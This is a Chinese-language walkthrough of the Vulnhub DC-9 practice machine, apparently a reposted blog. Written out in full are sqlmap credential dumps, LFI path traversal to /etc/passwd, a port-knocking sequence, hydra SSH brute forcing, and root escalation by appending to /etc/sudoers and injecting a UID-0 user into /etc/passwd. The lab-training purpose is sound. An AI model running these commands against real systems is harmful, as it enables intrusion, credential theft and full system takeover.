【Vulnhub】DC9

靶机下载地址:http://www.five86.com/downloads/DC-9.zip

主机信息

Kali:192.168.56.113

DC9:192.168.56.112

实验过程

先进行主机探测,查找靶机的IP地址:

arp-scan --interface eth1 192.168.56.1/24

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J5ldzn3k-1610786981068)(61D63C4DB0504B4B92B3864C88C85EC1)]

用nmap对主机进行排查确定,DC9的IP地址为192.168.56.112

可以看到DC开放了80端口以及22端口(被过滤)

nmap -sC -sV -oA dc-9 192.168.56.112

在这里插入图片描述

所以首先从80端口入手,每个网页都点开看看。看到这个搜索页面感觉可以尝试下SQL注入

在这里插入图片描述

这里我们用Burp进行尝试,发现的确存在注入点

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iDUVmeSA-1610786981078)(495271D4688C4454821127AF5D63D6AB)]

把请求信息导出为dc9.sqlmap,接下来用SQLmap进行遍历

python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TBnH5VvP-1610786981080)(2D19C5262A214773A244F6FDAADB2805)]

然后接下来用sqlmap导出数据

python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap --dbs
python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap -D users --tables 
python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap -D users -T UserDetails --columns
python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap -D users -T UserDetails -C username,password --dump

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yZCvAyGI-1610786981083)(10554513BC2741718C73F4273EADD923)]

python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap -D Staff -T Users -C Username,Password --dump

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CoiDkrSL-1610786981084)(FA6AC705488E4F05B0B935EB9AF7E07B)]

这里SQLmap直接帮我得到admin的密码明文(transorbital1)

管理员账号:admin
管理员密码:transorbital1

附在线破解网站:https://hashes.com/en/decrypt/hash

我们将所有的账号,密码进行整理,分别整理到username,password(这里需要注意的是,只要管理员的密码是需要解密的,其他用户的密码是明文)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Omkbw3Fc-1610786981086)(03D13AFEE5054DF0BA82A007ECCB6326)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6v9jvW8G-1610786981089)(859E684BE6A44119A9144C8A8101D131)]

用wfuzz进行批量登陆查看页面反应,只有管理员的账号是302 (ps:意料之中)

#-c:带颜色输出  -d:post参数   -z:payload  -m:模式  zip迭代   字典和占位符一一对应进行遍历

wfuzz -c -z file,username -z file,password -m zip  -d 'username=FUZZ&password=FUZ2Z' http://192.168.56.112/manage.php

然后我们用管理账号进行登陆
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pMkXOBDL-1610786981092)(F32CAC52A4614427A2748B70433A6D08)]

可以看到页面下面出现File does not exist的提示,感觉很有可能就是LFI(本地文件包含)

但是此时我们并不知道参数是多少,这里同样用wfuzz尝试进行遍历(注意这里用把登陆之后的cookies也要写上,否则网页会提示你要登陆

查看cookies的话可以浏览器直接查看,也可以让wfuzz把请求发给burp进行查看

#-p:添加代理
wfuzz -p 127.0.0.1:8080:HTTP

字典地址:https://github.com/danielmiessler/SecLists

# -b:cookies   -hw:隐藏指定字节数的结果  -w 字典文件

wfuzz  --hw 100 -b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n'  -c -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt http://192.168.56.112/manage.php?FUZZ=index.php

wfuzz  --hw 100 -b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n'  -c -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/passwd

在这里插入图片描述

这里我们就找到参数file

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aEio7zrd-1610786981099)(6F9B07F77B3D4D09A4E80AFE25D954E3)]

然后我们通过**/proc/sched_debug** 来查看Linux系统中任务的调度情况

http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../proc/sched_debug

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JJk31Wpy-1610786981100)(340951F8117A43B2B2A8AF681A2FC4BD)]

整理查询发现靶机上运行这knockd

关于knockd的介绍:https://blog.csdn.net/nzjdsds/article/details/112476120

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RIY6RIiA-1610786981102)(6B7D157F1F2747329B9BF13619B03527)]

那么我们读取下knockd的配置文件

http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/knockd.conf

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HIoZtXex-1610786981104)(47F1E09931C74FAF8A292A23FC62CFD2)]

options]
	UseSyslog

[openSSH]
	sequence    = 7469,8475,9842
	seq_timeout = 25
	command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

[closeSSH]
	sequence    = 9842,8475,7469
	seq_timeout = 25
	command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

这里提供2种敲击方法:nc、nmap

for x in 7469 8475 9842;do nmap -Pn --max-retries 0 -p $x 192.168.56.112;done
for x in 7469 8475 9842 22 ;do nc 192.168.56.112 $x;done

在这里插入图片描述

此时SSH就可以正常连接,接下来我们用hydra来进行爆破,用户名和密码就是我们先前SQL注入获得的

hydra  -L username  -P password  ssh://192.168.56.112

在这里插入图片描述

[22][ssh] host: 192.168.56.112   login: janitor   password: Ilovepeepee
[22][ssh] host: 192.168.56.112   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.56.112   login: chandlerb   password: UrAG0D!

然后我们对这几个账号都尝试进行登陆

ssh [email protected]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AEDhoLqD-1610786981112)(7497391BF94548DBAF1AC48E76FA6B10)]

只有janitor的家目录存在一个名为.secrets-for-putin的文件夹,并且在其中又得到一些密码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-quxw8cBR-1610786981114)(E2B4727BF6B94BA69CE86436923F7B83)]

我们把这些密码加入到password文件中

同时我们在janitor使用LinPEAS来探测下可利用的点

下载地址:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

现在Kali上开启HTTP服务

python3 -m http.server 80

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-97ZNtSPB-1610786981116)(8C27174AEB29436687BE81E4269B73EE)]

然后在靶机上进行下载

wget http://192.168.56.114/linpeas.sh

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vbcxV1Zn-1610786981119)(D2AEEE94EB504EB9896AC595DE91FCA1)]

然后运行之后,感觉并没有什么特别的点

bash linpeas.sh

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-weQiMhO2-1610786981122)(CBEA32DD1BF44EEA9D9A129618C67A0F)]

再使用hydra使用刚刚更新过的password文件进行SSH爆破,可以看到多了一个fredf用户

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tI55d1XB-1610786981123)(0B71991679E14891982520FD47754700)]

[22][ssh] host: 192.168.56.112   login: fredf   password: B4-Tru3-001
[22][ssh] host: 192.168.56.112   login: janitor   password: Ilovepeepee
[22][ssh] host: 192.168.56.112   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.56.112   login: chandlerb   password: UrAG0D!

然后登陆到fredf账号,查看下fredf的sudo权限,可以看到fredf可以不用密码以root权限执行/opt/devstuff/dist/test/test的文件

sudo -l

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pUfyU6vP-1610786981127)(D269D4D048FE4D76BB54A99D02D1AB37)]

/opt/devstuff/dist/test/test是一个可执行文件,执行后出现下面的提示,应该是一个python脚本转化为的可执行的文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cxVTPnIG-1610786981129)(C01ED110984C47B48E52EBB816521AA3)]

可以在上级目录找到同名的 test.py 然后cat下内容,应该是由这个文件编译过来的

脚本的作用就是将第一个文件的内容附加到另一个文件里面去

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-grOMWdJz-1610786981130)(7AF7B563D2B64C9A904C63FFF10892D5)]

这样提权就变得非常简单,这里提供2个提权的思路

提权思路1:往/etc/sudoers里面添加内容,让用户可以以root的权限去执行命令

创建/dev/shm/sudoerAdd,内容如下

joeyt ALL=(ALL) ALL

然后执行

sudo /opt/devstuff/dist/test/test /dev/shm/sudoerAdd /etc/sudoers

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xBBYJJuR-1610786981132)(60055658F2C84041A7708BA428127706)]

然后登陆joeyt,然后切换成root身份,get flag

提权思路2:添加一个新的用户到/etc/passwd,然后新添加的用户登陆

这里用Openssl来对密码进行加密,在进行编辑输入到/tmp/new-passwd

openssl passwd -1 -salt 123456 dfz
dfz:$1$123456$1VU0YpuL7WOQvLLyYTbbv1:0:0:root:/root:/bin/bash

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CVZ0B6xr-1610786981135)(B414AA8BD4954D518F5BA05BB232DD5F)]

然后把/tmp/new-passwd写入到/etc/passwd

sudo /opt/devstuff/dist/test/test /tmp/new-passwd /etc/passwd

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wTruAg3U-1610786981137)(AE1F356E85B1479FBFA956855DE9F442)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8OewBMxA-1610786981138)(B1006BDAF73C445EBBC9605E3BD22F82)]

猜你喜欢

转载自blog.csdn.net/nzjdsds/article/details/112715181